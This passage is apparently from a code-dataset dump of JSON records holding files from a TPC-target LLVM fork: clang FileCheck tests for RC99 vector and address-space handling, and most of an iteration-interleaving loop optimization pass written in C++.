expected-error{{index of vector type is out of range}}\n *dptr++ = ndx[1];\n\n ndx[6] = 15; // expected-error{{index of vector type is out of range}}\n *dptr++ = ndx[1];\n}\n" }, { "alpha_fraction": 0.5159817337989807, "alphanum_fraction": 0.5799086689949036, "avg_line_length": 45.92856979370117, "blob_id": "165eba777738ac16d74da21dde3b5d8c9126f9b1", "content_id": "bbc7b809db302f0481c13010aa5bce868ecf0ad9", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 657, "license_type": "permissive", "max_line_length": 108, "num_lines": 14, "path": "/clang/test/RC99/CodeGen/bool256-not.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int x, int y) {\n bool256 __local *ptr = (bool256 __local*)dest;\n bool256 res = *ptr;\n *ptr = ~res;\n}\n\n// CHECK: ld_l_v [[VPR1:%VP[0-9]+]], %S0,{{.*}} %SP0\n// CHECK: not.b [[VPR2:%VP[0-9]+]], [[VPR1]], %SP0\n// CHECK: st_l_v %S0,{{.*}} [[VPR2]], %SP0\n" }, { "alpha_fraction": 0.5990836024284363, "alphanum_fraction": 0.6254295706748962, "avg_line_length": 61.28571319580078, "blob_id": "63bec52e5aa0764f7551c1ebfb648b7f06dcba0c", "content_id": "18699681b4153cbee67493e6f759b39c5ec08197", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 873, "license_type": "permissive", "max_line_length": 169, "num_lines": 14, "path": "/clang/test/RC99/restrictions/addrspace-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -ast-dump %s -o - | FileCheck %s\n\nstruct New {\n__local__ float * local_var_ptr; // CHECK: FieldDecl {{.*}} local_var_ptr '__attribute__((address_space(1))) float *'\n__local__ float64 * local_vec_ptr; // CHECK: FieldDecl {{.*}} local_vec_ptr '__attribute__((address_space(2))) float64 *'\n};\n\n__local__ struct New local_struc; // CHECK: VarDecl {{.*}} local_struc '__attribute__((address_space(1))) struct New':'__attribute__((address_space(1))) struct New'\n\n__local__ int * __local locvar_locptr[4]; // CHECK: VarDecl {{.*}} locvar_locptr '__attribute__((address_space(1))) int *__attribute__((address_space(1))) [4]'\n__local__ int64 * __local locvar_locvecptr[4]; // CHECK: VarDecl {{.*}} locvar_locvecptr '__attribute__((address_space(2))) int64 *__attribute__((address_space(1))) [4]'\n\nvoid main() {\n}\n\n" }, { "alpha_fraction": 0.6356328129768372, "alphanum_fraction": 0.6385733485221863, "avg_line_length": 31.116527557373047, "blob_id": "e9e6d4798fa7decb216a64b62e1ab1e3c390cfd9", "content_id": "13bd5bd436b137d4a7ebb5903a9abffc478656c6", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 42169, "license_type": "permissive", "max_line_length": 80, "num_lines": 1313, "path": "/llvm/lib/Transforms/Scalar/IterationInterleave.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- IterationInterleave.cpp - Interleave Iterations --------------------===//\n//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements a transformation on unrolled loops to generate\n// interleaved instructions across iterations within the unrolled body.\n//\n// Interleaving strategies\n// =======================\n// Isomorphic\n// ----------\n// for (...; i += 4) { for (...; i += 4) {\n// a(i); b(i); c(i) a(i); a(i + 1); a(i + 2); a(i + 3)\n// a(i + 1); b(i + 1); c(i + 1) b(i); b(i + 1); b(i + 2); b(i + 3)\n// a(i + 2); b(i + 2); c(i + 2) => c(i); c(i + 1); c(i + 2); c(i + 3)\n// a(i + 3); b(i + 3); c(i + 3) }\n// }\n//\n// This strategy groups isomorphic instructions across iterations to hide the\n// latency. IF or interleave-factor is an integral metric like vector-factor of\n// the loop-vectorizer that denotes the number of iterations an isomorphic\n// ordering correspond to. The cost-model tries to a set an IF that maximizes\n// ILP without incurring high register pressure.\n//\n// SWP\n// ---\n// This strategy leverages software-pipelined loads which can be ordered for\n// better \"VLIW packetizing\". Since these loads are used by phi for the next\n// iteration, we have more freedom in scheduling it compared to the\n// non-software-pipelined loads.\n//\n//\n//\n// TODO\n// ====\n// - Develop a cost-model that decides the set of strategies to execute instead\n// of executing them serially.\n//\n// - Develop a cost-model for the SWP strategies.\n//\n// - Eliminate (or minimize) dependence on std::distance() on\n// BasicBlock::iterator. BasicBlock tracks it's instructions using\n// simple_ilist whose iterator doesn't support random-access. So\n// std::distance() will incur a linear time complexity.\n//\n// Analysis/OrderedBasicBlock can solve the std::distance() problem if the\n// BasicBlock is read-only. Unfortunately this pass does a non-trivial\n// reordering and uses std::distance() (for querying dominance relations,\n// live-ranges etc.) during the reordering.\n//\n// - Teach LLVM about TPC memory dependences (i.e. teach\n// DependenceInfo::depends() and/or MemorySSA etc.) so that we can bail out if\n// the pass violates the memory access pattern on the same address. This\n// problem exist for any transformation that reorders ld_XXX and/or st_XXX in\n// TPC (like TPC/TPCoptimization, Scalar/LoopSWP etc.)\n//===----------------------------------------------------------------------===//\n\n#include \"TPCIterationClusterizer.h\"\n#include \"TPCOptUtils.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/Analysis/LoopPass.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/TargetTransformInfo.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/PassSupport.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include <deque>\n#include <iterator>\n#include <list>\n#include <memory>\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"iter-ilv\"\n\nSTATISTIC(NumInstsInterleaved, \"Number of instructions interleaved\");\nSTATISTIC(NumLoopsInterleaved, \"Number of loops interleaved\");\n\n// Options to override the cost-model's IF. Interleaving can be disabled for a\n// container by setting it's IF = 0.\nstatic cl::opt<int> CoordUpdateIFOpt(\"iter-ilv-coord-update-IF\", cl::init(-1),\n cl::Hidden);\nstatic cl::opt<int> LoadIFOpt(\"iter-ilv-load-IF\", cl::init(-1), cl::Hidden);\nstatic cl::opt<int> ComputeIFOpt(\"iter-ilv-compute-IF\", cl::init(-1),\n cl::Hidden);\nstatic cl::opt<int> StoreIFOpt(\"iter-ilv-store-IF\", cl::init(-1), cl::Hidden);\n\nstatic cl::opt<bool>\n ElimFalseCoordUpdateDepsOpt(\"iter-ilv-elim-false-coord-update-deps\",\n cl::desc(\"Eliminate false coord-update deps\"),\n cl::Hidden, cl::init(false));\n\nstatic cl::opt<bool> TrimCoordUpdateLiveRangeOpt(\n \"iter-ilv-trim-coord-update-live-ranges\",\n cl::desc(\"Move coord-updates closer to their first use\"), cl::Hidden,\n cl::init(false));\n\n// TODO: Move to Instruction\n/// Returns true if \\p I is an intrinsic of ID \\p IntrinsicID\nstatic bool isIntrinsicOfID(const Instruction *I, Intrinsic::ID IntrinsicID) {\n if (const auto *Intrinsic = dyn_cast<IntrinsicInst>(I))\n return (Intrinsic->getIntrinsicID() == IntrinsicID);\n return false;\n}\n\n// TODO: Move to TPCUtils\n/// Returns true if \\p I is a TPC coord-update\nstatic bool isCoordUpdate(const Instruction *I) {\n if (isIntrinsicOfID(I, Intrinsic::tpc_add_mask))\n return true;\n\n if (isIntrinsicOfID(I, Intrinsic::tpc_set_indx))\n return true;\n\n const auto *II = dyn_cast<InsertElementInst>(I);\n if (II) {\n Type *Int5Ty = VectorType::get(Type::getInt32Ty(I->getContext()), 5);\n if (Int5Ty == II->getType()) {\n return true;\n }\n }\n\n return false;\n}\n\n// TODO: Move to BasicBlock {\n/// Returns true if the instruction \\p A comes before \\p B in the BasicBlock\n/// assuming that both \\p A and \\p B belong to the same BasicBlock\nstatic bool instComesBeforeInBB(const Instruction *A, const Instruction *B) {\n assert(A->getParent() == B->getParent());\n const BasicBlock::const_iterator BBBegin = A->getParent()->begin();\n BasicBlock::const_iterator AIter = A->getIterator();\n BasicBlock::const_iterator BIter = B->getIterator();\n unsigned APos = std::distance(BBBegin, AIter);\n unsigned BPos = std::distance(BBBegin, BIter);\n return APos <= BPos ? true : false;\n}\n\n/// Prepends only the broken SSA dependence DAG sub-graph rooted at \\p Inst\n/// before \\p RefInst pruned at BB boundaries in post-order (i.e. we're\n/// recursively fixing the operands within the BB). This is expected to be\n/// called if you moved \\p Inst up in it's BB without fixing it's SSA\n/// dependence(s)\nstatic void fixNonPHIDAGBelow(Instruction *Inst, Instruction *RefInst) {\n assert(!isa<PHINode>(Inst));\n assert(Inst->getParent() == RefInst->getParent());\n\n for (Value *Opnd : Inst->operands()) {\n Instruction *OpndDef = dyn_cast<Instruction>(Opnd);\n if (!OpndDef)\n continue;\n\n if (OpndDef->getParent() != RefInst->getParent())\n continue;\n\n if (isa<PHINode>(OpndDef))\n continue;\n\n // If `OpndDef` already dominates `RefInst`\n if (instComesBeforeInBB(OpndDef, RefInst))\n continue;\n\n fixNonPHIDAGBelow(OpndDef, RefInst);\n OpndDef->moveBefore(RefInst);\n }\n}\n\n/// Appends only the broken SSA dependence DAG reachable \"above\" \\p Inst (i.e.\n/// the users) after \\p RefInst pruned at BB boundaries in post-order (i.e.\n/// we're recursively fixing the users within the BB). This is expected to be\n/// called if you moved \\p Inst down in it's BB without fixing it's SSA\n/// dependence(s)\nstatic void fixNonPHIDAGAbove(Instruction *Inst, Instruction *RefInst) {\n assert(!isa<PHINode>(Inst));\n assert(Inst->getParent() == RefInst->getParent());\n\n for (Value *Usr : Inst->users()) {\n Instruction *UsrDef = dyn_cast<Instruction>(Usr);\n if (!UsrDef)\n continue;\n\n if (UsrDef->getParent() != RefInst->getParent())\n continue;\n\n if (isa<PHINode>(UsrDef))\n continue;\n\n // If `UsrDef` already post-dominates `RefInst`\n if (!instComesBeforeInBB(UsrDef, RefInst))\n continue;\n\n fixNonPHIDAGAbove(UsrDef, RefInst);\n UsrDef->moveAfter(RefInst);\n }\n}\n\n/// Moves non-PHI \\p Inst after \\p RefInst assuming they're both in the same BB\n/// and fixes their SSA dependence(s) post movement.\nstatic void moveNonPHIInBBAfter(Instruction *Inst, Instruction *RefInst) {\n assert(!isa<PHINode>(Inst));\n assert(Inst->getParent() == RefInst->getParent());\n\n if (Inst == RefInst)\n return;\n\n // If we need to move `Inst` up\n if (instComesBeforeInBB(RefInst, Inst)) {\n Inst->moveAfter(RefInst);\n fixNonPHIDAGBelow(Inst, /* RefInst */ Inst);\n\n } else {\n Inst->moveAfter(RefInst);\n fixNonPHIDAGAbove(Inst, /* RefInst */ Inst);\n }\n}\n\n/// Returns the first non-PHI user of \\p Inst in it's BB if any. Returns nullptr\n/// if \\p Inst has no user in it's BB.\nstatic Instruction *getFirstNonPHIUserInBB(const Instruction *Inst) {\n const Instruction *FirstUser = nullptr;\n\n for (const User *Usr : Inst->users()) {\n const Instruction *UsrInst = dyn_cast<Instruction>(Usr);\n if (!UsrInst) {\n continue;\n\n } else if (Inst->getParent() != UsrInst->getParent()) {\n continue;\n\n } else if (isa<PHINode>(UsrInst)) {\n continue;\n\n } else if (!FirstUser || instComesBeforeInBB(UsrInst, FirstUser)) {\n FirstUser = UsrInst;\n }\n }\n\n return const_cast<Instruction *>(FirstUser);\n}\n\n// } Move to BasicBlock\n\n// TODO: The following code is copied from LoopSWP primarily authored by\n// @vvasista and modified for iter-ilv specific requirements.\n// {\nnamespace {\n\nclass ClusterInfo {\npublic:\n ScalarEvolution *SE;\n Loop *WorkingLoop;\n\n ClusterInfo(Loop *L, ScalarEvolution *SE) : SE(SE), WorkingLoop(L) {}\n\n unsigned NumClusters = 0;\n bool IsAccumulationLoop = false;\n\n VecInstVecType HeaderCoordUpdateInstsVec;\n VecInstVecType HeaderComputeInstsVec;\n VecInstVecType HeaderLoadInstsVec;\n VecInstVecType HeaderStoreInstsVec;\n VecInstVecType HeaderAccumInstsVec;\n\n // set/get number of clusters\n void setNumClusters(unsigned N) { NumClusters = N; }\n unsigned getNumClusters() { return NumClusters; }\n\n // get/set whether the loop has accumulator\n void setIsAccumulationLoop(bool IsAccumLoop) {\n IsAccumulationLoop = IsAccumLoop;\n }\n bool getIsAccumulationLoop() { return IsAccumulationLoop; }\n\n ClusterInfoVecType LoopClusters;\n bool clusterInstructions() {\n IterationClusterizer Clusterizer(WorkingLoop, SE,\n /* PopulateIfMultiCluster */ false,\n /* SkipIfZeroLoadTensors */ false,\n /* ShouldDetectPipelinedLoads */ true);\n if (!Clusterizer.classifyAndClusterize(LoopClusters))\n return false;\n\n setNumClusters(Clusterizer.getNumClusters());\n setIsAccumulationLoop(Clusterizer.getIsAccumulationLoop());\n\n for (const llvm::ClusterInfo *LoopCluster : LoopClusters) {\n HeaderLoadInstsVec.push_back(LoopCluster->HeaderLoadInstsVec);\n HeaderComputeInstsVec.push_back(LoopCluster->HeaderComputeInstsVec);\n HeaderStoreInstsVec.push_back(LoopCluster->HeaderStoreInstsVec);\n HeaderAccumInstsVec.push_back(LoopCluster->HeaderAccumInstsVec);\n }\n\n return true;\n }\n};\n\n// } code copied from LoopSWP primarily authored by @vvasista\n\nclass IterationInterleaver {\n ScalarEvolution *SE;\n const TargetTransformInfo *TTI;\n std::unique_ptr<ClusterInfo> CI;\n\n /// TheLoopXXX refers to the entities of the working loop\n Loop *TheLoop;\n BasicBlock *TheLoopHeader;\n\n /// List of coord-updates, loads and stores in `TheLoop`\n SmallVector<Instruction *, 4> CoordUpdates, Loads, Stores;\n\n /// unroll-factor of `TheLoop`\n unsigned UF = 1;\n\n /// The following data-structures are more or less 2 different perspectives\n /// to clusters. Given a loop that's unrolled UF times, it's clusters can be\n /// seen as:\n /// cluster[0] {\n /// foo inst-container\n /// bar inst-container\n /// ...\n /// }\n ///\n /// cluster[1] {\n /// ...\n /// }\n ///\n /// ...\n /// cluster[UF - 1] {\n /// ...\n /// }\n ///\n /// The `ContainersOfInterest` help in interleaving while the\n /// `ClusterSetsOfInterest` help in reasoning about inter-cluster dependencies\n /// but they both refer to the same underlying data.\n\n struct Container {\n const VecInstVecType &InstLists;\n enum class Type { CoordUpdate, Load, Compute, Store, Unknown };\n Type Ty;\n\n Type getType() const { return Ty; }\n bool isCoordUpdateType() const { return (Ty == Type::CoordUpdate); }\n bool isLoadType() const { return (Ty == Type::Load); }\n bool isComputeType() const { return (Ty == Type::Compute); }\n bool isStoreType() const { return (Ty == Type::Store); }\n\n static Type getTypeFor(const Instruction *Inst) {\n if (isCoordUpdate(Inst)) {\n return Type::CoordUpdate;\n\n } else if (isIntrinsicOfID(Inst, Intrinsic::tpc_ld_tnsr)) {\n return Type::Load;\n\n } else if (isIntrinsicOfID(Inst, Intrinsic::tpc_st_tnsr)) {\n return Type::Store;\n }\n\n if (const auto *Intrinsic = dyn_cast<IntrinsicInst>(Inst)) {\n if (Intrinsic->getName().startswith(\"llvm.tpc\"))\n return Type::Compute;\n }\n\n return Type::Unknown;\n }\n\n static const char *getTypeAsString(Type Ty) {\n switch (Ty) {\n case Type::CoordUpdate:\n return \"coord-update\";\n\n case Type::Load:\n return \"load\";\n\n case Type::Compute:\n return \"compute\";\n\n case Type::Store:\n return \"store\";\n\n case Type::Unknown:\n return \"unknown\";\n }\n }\n\n const char *getTypeAsString() const { return getTypeAsString(getType()); }\n\n unsigned getNumIteration() const { return InstLists.size(); }\n\n unsigned getNumInstPerIteration() const { return InstLists[0].size(); }\n\n unsigned getNumInst() const {\n return getNumInstPerIteration() * getNumIteration();\n }\n\n#ifndef NDEBUG\n\n void print(raw_ostream &OS) const {\n OS << getTypeAsString() << \"-container\";\n }\n\n LLVM_DUMP_METHOD void dump() const { print(dbgs()); }\n\n friend raw_ostream &operator<<(raw_ostream &OS, const Container &Cont) {\n Cont.print(OS);\n return OS;\n }\n\n#endif\n\n explicit Container(const VecInstVecType &InstLists, Type Ty)\n : InstLists(InstLists), Ty(Ty) {}\n };\n\n /// Containers that'll be subject to interleaving\n std::list<Container> ContainersOfInterest;\n\n /// Returns the container of type \\p Ty from \\p ContainersOfInterest if\n /// present (else returns nullptr)\n Container *getContainerOfInterest(Container::Type Ty) const {\n for (const Container &Cont : ContainersOfInterest) {\n if (Cont.getType() == Ty)\n return const_cast<Container *>(&Cont);\n }\n\n return nullptr;\n }\n\n /// Adds a container corresponding to \\p InstLists of type \\p Ty to \\p\n /// ContainersOfInterest if it's valid.\n void addContainerOfInterest(VecInstVecType &InstLists, Container::Type Ty) {\n if (!InstLists.size()) {\n LLVM_DEBUG(dbgs() << \"iter-ilv: Not adding \"\n << Container::getTypeAsString(Ty)\n << \"-container since it's empty\\n\");\n return;\n }\n\n if (InstLists.size() != UF) {\n LLVM_DEBUG(\n dbgs()\n << \"iter-ilv: Not adding \" << Container::getTypeAsString(Ty)\n << \"-container since it doesn't represent UF number of clusters\\n\");\n return;\n }\n\n unsigned RefSize = InstLists[0].size();\n for (const InstructionVecType &InstList : InstLists) {\n if (RefSize != InstList.size()) {\n LLVM_DEBUG(\n dbgs()\n << \"iter-ilv: Not adding \" << Container::getTypeAsString(Ty)\n << \"-container since it has uneven number of instructions\\n\");\n return;\n }\n }\n\n if (!RefSize) {\n LLVM_DEBUG(\n dbgs() << \"iter-ilv: Not adding \" << Container::getTypeAsString(Ty)\n << \"-container since there are no instructions under it\\n\");\n }\n\n ContainersOfInterest.emplace_back(InstLists, Ty);\n }\n\n /// Removes the container of type \\p Ty from \\p ContainersOfInterest if\n /// present\n void removeContainerOfInterest(Container::Type Ty) {\n for (auto I = ContainersOfInterest.begin(), E = ContainersOfInterest.end();\n I != E; ++I) {\n Container Cont = *I;\n if (Cont.getType() == Ty) {\n ContainersOfInterest.erase(I);\n return;\n }\n }\n }\n\n /// Removes the container \\p Cont from \\p ContainersOfInterest if present\n void removeContainerOfInterest(const Container &Cont) {\n removeContainerOfInterest(Cont.getType());\n }\n\n /// Cluster sets that'll be subject to interleaving\n SmallVector<SmallSet<Instruction *, 4>, 4> ClusterSetsOfInterest;\n\n class IsomorphicCostModel {\n const TargetTransformInfo *TTI;\n unsigned UF;\n const std::list<Container> &ContainersOfInterest;\n std::map<Container::Type, int> ContainerIFMap;\n\n // Note:\n // - The client is expected to override any parameter from this\n // cost-model. i.e., for example, the CostModel doesn't care about\n // external parameters that could override IF like a user enforced IF via\n // cl::opt.\n //\n // - This cost-model makes \"local\" decision like deciding the IF for each\n // containers, i.e. it doesn't make \"global\" decisions like \"don't\n // interleave at all\". The \"global\" decisions are expected to be done by\n // the profitability checks outside (like\n // IterationInterleaver::isReasonable())\n\n /// Returns the preferred IF for the load-container \\p Cont.\n unsigned calculateLoadIF(const Container &Cont) const {\n assert(Cont.isLoadType());\n unsigned PreferredIF = UF;\n\n return PreferredIF;\n }\n\n /// Returns the preferred IF for the coord-update-container \\p Cont.\n unsigned calculateCoordUpdateIF(const Container &Cont) const {\n assert(Cont.isCoordUpdateType());\n unsigned PreferredIF = 0;\n\n return PreferredIF;\n }\n\n /// Return true if two-addr pass would create copies for \\p I\n bool generatesTwoAddrCopy(const Instruction *I) const {\n const IntrinsicInst *Intrinsic = dyn_cast<IntrinsicInst>(I);\n if (!Intrinsic)\n return false;\n\n // FIXME: This list is not complete. Is there some other way to fetch this\n // info in opt?\n switch (Intrinsic->getIntrinsicID()) {\n case Intrinsic::tpc_mac:\n case Intrinsic::tpc_mac_x2:\n case Intrinsic::tpc_mac_x2_f32:\n return true;\n }\n\n return false;\n }\n\n /// Returns the preferred IF for the compute-container \\p Cont.\n unsigned calculateComputeIF(const Container &Cont) const {\n assert(Cont.isComputeType());\n assert(Cont.InstLists.size() > 0);\n\n // IFVotes[<n>] for IF = <n> represents the preference (in terms of number\n // of votes (see below)) of <n> as the IF.\n SmallVector<unsigned, 8> IFVotes;\n IFVotes.resize(UF + 1);\n for (unsigned IF = 0; IF <= UF; IF++) {\n IFVotes[IF] = 0;\n }\n\n // We iterate the compute instructions and use heuristic to decide the\n // vote for a particular IF. Some instructions are allowed to cheat in the\n // voting if the heuristic deems it reasonable. This method is holistic\n // since every instruction can cast a vote on the compute-container's IF\n // but it's still far from perfect due to the reliance on heuristics.\n const InstructionVecType &InstList = Cont.InstLists[0];\n for (const Instruction *Inst : InstList) {\n // Be pessimistic if there are intrinsics that will be expanded to\n // multiple instructions. (TODO: These must be handled in TTI's\n // getInstructionCost() in Target/TPC/TPCTargetTransformInfo)\n if (const auto *Intrinsic = dyn_cast<IntrinsicInst>(Inst)) {\n switch (Intrinsic->getIntrinsicID()) {\n case Intrinsic::tpc_fpext_swch:\n case Intrinsic::tpc_fptrunc_swch:\n case Intrinsic::tpc_fptosi_swch:\n case Intrinsic::tpc_fptoui_swch:\n case Intrinsic::tpc_sitofp_swch:\n case Intrinsic::tpc_uitofp_swch:\n IFVotes[0] += 5;\n continue;\n }\n }\n\n int InstLatency =\n TTI->getInstructionCost(Inst, TargetTransformInfo::TCK_Latency);\n if (InstLatency == 0)\n continue;\n\n if (Inst->getNumUses() != 1)\n continue;\n\n const Instruction *FirstUser = getFirstNonPHIUserInBB(Inst);\n if (!FirstUser)\n continue;\n\n unsigned LiveRangeDist =\n std::distance(Inst->getIterator(), FirstUser->getIterator());\n\n // Calculate `IF` such that:\n // - `UF` >= `IF`\n // - `InstLatency` is directly proportional to `IF`\n // - `LiveRangeDist` is inversely proportional to `IF`\n unsigned IF = InstLatency / LiveRangeDist;\n if (IF < UF && LiveRangeDist == 1) {\n IF = UF;\n }\n\n IF = IF > UF ? UF : IF;\n\n IFVotes[IF]++;\n\n // If two-addr pass would generate copies for `Inst` and `Inst` prefers\n // IF = 0 (i.e. no interleaving), then be pessimistic and give a high\n // preference for IF = 0.\n if (IF == 0 && generatesTwoAddrCopy(Inst)) {\n IFVotes[IF] += 5;\n }\n }\n\n unsigned PreferredIF = 0, MaxVotes = 0;\n LLVM_DEBUG(\n dbgs() << \"iter-ilv::isomorphicCM: Compute-container's IF-votes:\\n\");\n for (unsigned IF = 0; IF <= UF; IF++) {\n if (!IFVotes[IF])\n continue;\n\n LLVM_DEBUG(dbgs() << \" For IF: \" << IF << \" Votes: \" << IFVotes[IF]\n << \"\\n\");\n if (IFVotes[IF] > MaxVotes) {\n MaxVotes = IFVotes[IF];\n PreferredIF = IF;\n }\n }\n\n return PreferredIF;\n }\n\n /// Returns the preferred IF for the store-container \\p Cont.\n unsigned calculateStoreIF(const Container &Cont) const {\n assert(Cont.isStoreType());\n unsigned PreferredIF = 0;\n\n return PreferredIF;\n }\n\n public:\n /// Returns the preferred IF for the container \\p Cont.\n unsigned getIF(const Container &Cont, bool Recalculate = false) {\n auto It = ContainerIFMap.find(Cont.getType());\n assert(It != ContainerIFMap.end());\n int IF = (*It).second;\n\n if (IF == -1 || Recalculate) {\n // (Re)calculate IF of `Cont` since it's unset.\n switch (Cont.getType()) {\n case Container::Type::CoordUpdate:\n IF = calculateCoordUpdateIF(Cont);\n break;\n\n case Container::Type::Load:\n IF = calculateLoadIF(Cont);\n break;\n\n case Container::Type::Compute:\n IF = calculateComputeIF(Cont);\n break;\n\n case Container::Type::Store:\n IF = calculateStoreIF(Cont);\n break;\n\n default:\n llvm_unreachable(\"iter-ilv: Invalid container type\");\n }\n\n LLVM_DEBUG(dbgs() << \"iter-ilv::isomorphicCM: Setting \" << Cont\n << \"'s IF: \" << IF << \"\\n\");\n ContainerIFMap[Cont.getType()] = IF;\n }\n\n return IF;\n }\n\n /// Forces the cost-model to choose IF \\p IF for the container \\p Cont\n void setIF(const Container &Cont, int IF) {\n auto It = ContainerIFMap.find(Cont.getType());\n if (It == ContainerIFMap.end())\n return;\n\n ContainerIFMap[Cont.getType()] = IF;\n }\n\n explicit IsomorphicCostModel(const TargetTransformInfo *TTI, unsigned UF,\n const std::list<Container> &COI)\n : TTI(TTI), UF(UF), ContainersOfInterest(COI) {\n // Unset IF of each containers in `ContainersOfInterest`\n for (const Container &Cont : ContainersOfInterest) {\n ContainerIFMap[Cont.getType()] = -1;\n }\n }\n };\n\n std::unique_ptr<IsomorphicCostModel> IsomorphicCM;\n\n /// Gets the unroll-factor of \\p L\n unsigned getLoopUF(const Loop *L) const { return CI->getNumClusters(); }\n\n /// Sets relevant member-variables for \\p TheLoop\n void setLoopInfo() { TheLoopHeader = TheLoop->getHeader(); }\n\n /// Eliminates the false-dependence between coord-updates of the same index in\n /// \\p TheLoop\n void elimCoordUpdateFalseDeps() {\n for (Instruction *CoordUpdate : CoordUpdates) {\n if (!isa<InsertElementInst>(CoordUpdate))\n continue;\n\n Value *CoordRegVal = CoordUpdate->getOperand(0);\n Instruction *CoordReg = dyn_cast<InsertElementInst>(CoordRegVal);\n if (!CoordReg)\n continue;\n\n if (CoordReg->getParent() != CoordUpdate->getParent())\n continue;\n\n if (CoordUpdate->getOperand(2) != CoordReg->getOperand(2))\n continue;\n\n CoordUpdate->replaceUsesOfWith(CoordReg, CoordReg->getOperand(0));\n }\n }\n\n /// Trims coord-update live-ranges by moving them immediately before it's\n /// first user if possible.\n void trimCoordUpdateLiveRange() {\n for (Instruction *CoordUpdate : CoordUpdates) {\n Instruction *FirstUser = getFirstNonPHIUserInBB(CoordUpdate);\n if (!FirstUser)\n continue;\n CoordUpdate->moveBefore(FirstUser);\n }\n }\n\n /// Returns the cluster-set from \\p ClusterSetsOfInterest that holds \\p Inst\n SmallSet<Instruction *, 4> *getClusterSetHaving(const Instruction *Inst) {\n unsigned NumClusters = CI->getNumClusters();\n for (unsigned I = 0; I < NumClusters; ++I) {\n if (ClusterSetsOfInterest[I].find(Inst) !=\n ClusterSetsOfInterest[I].end()) {\n return &ClusterSetsOfInterest[I];\n }\n }\n\n return nullptr;\n }\n\n /// Returns true if there are no unclustered-clustered instruction\n /// dependencies and no inter-cluster instruction dependencies.\n bool hasSimpleClusterDeps() {\n // Check if there are inter-cluster non-coord-update dependencies\n unsigned NumClusters = CI->getNumClusters();\n for (unsigned I = 0; I < NumClusters; ++I) {\n for (Instruction *Inst : ClusterSetsOfInterest[I]) {\n if (isCoordUpdate(Inst))\n continue;\n\n for (User *Usr : Inst->users()) {\n Instruction *UsrInst = dyn_cast<Instruction>(Usr);\n if (!UsrInst)\n continue;\n\n if (isCoordUpdate(UsrInst))\n continue;\n\n SmallSet<Instruction *, 4> *UsrCluster = getClusterSetHaving(UsrInst);\n if (!UsrCluster)\n continue;\n if (UsrCluster != &ClusterSetsOfInterest[I])\n return false;\n }\n }\n }\n\n return true;\n }\n\n /// Returns the command-line enforced IF for the container \\p Cont. Note that\n /// -1 means IF is not enforced via the command-line.\n int getIFOptFor(const Container &Cont) const {\n switch (Cont.getType()) {\n case Container::Type::CoordUpdate:\n return CoordUpdateIFOpt;\n\n case Container::Type::Load:\n return LoadIFOpt;\n\n case Container::Type::Compute:\n return ComputeIFOpt;\n\n case Container::Type::Store:\n return StoreIFOpt;\n\n default:\n llvm_unreachable(\"iter-ilv: Invalid container type\");\n }\n }\n\n /// Sets interleave-factor \\p IF for the container \\p Cont if it is overridden\n /// by anything outside the cost-model.\n void overrideIF(const Container &Cont, unsigned &IF) const {\n int IFOpt = getIFOptFor(Cont);\n if (IFOpt == -1)\n return;\n\n IF = IFOpt;\n LLVM_DEBUG(dbgs() << \"iter-ilv::ismorphic: Overriding \"\n << Cont.getTypeAsString() << \"-container's IF to \" << IF\n << \" (user enforced)\\n\");\n }\n\n enum class IsomorphicInterleaveState {\n Interleaved,\n NotInterleaved,\n Unknown,\n Unset\n } CurrentIsomorphicInterleaveState = IsomorphicInterleaveState::Unset;\n\n /// Returns the state of isomorphic interleave of \\p TheLoop\n IsomorphicInterleaveState getIsomorphicInterleaveState() {\n if (CI->getNumClusters() < 2)\n return IsomorphicInterleaveState::NotInterleaved;\n\n unsigned LoadsPerIteration = CI->HeaderLoadInstsVec[0].size();\n unsigned StoresPerIteration = CI->HeaderStoreInstsVec[0].size();\n\n if (!LoadsPerIteration && !StoresPerIteration)\n return IsomorphicInterleaveState::Unknown;\n\n // If we get a compute instruction in between mem-access of 2 consecutive\n // iterations of the unrolled loop, we guess that the loop is not\n // interleaved.\n\n unsigned MemAccessPerIteration = StoresPerIteration;\n VecInstVecType *MemAccessInstsVec = &CI->HeaderStoreInstsVec;\n Intrinsic::ID MemAccessType = Intrinsic::tpc_st_tnsr;\n\n if (!StoresPerIteration) {\n MemAccessPerIteration = LoadsPerIteration;\n MemAccessInstsVec = &CI->HeaderLoadInstsVec;\n MemAccessType = Intrinsic::tpc_ld_tnsr;\n }\n\n if (MemAccessPerIteration < 1)\n return IsomorphicInterleaveState::Unknown;\n\n BasicBlock::iterator FirstIterMemAcc =\n (*MemAccessInstsVec)[0][0]->getIterator();\n BasicBlock::iterator SecondIterMemAcc =\n (*MemAccessInstsVec)[1][0]->getIterator();\n\n 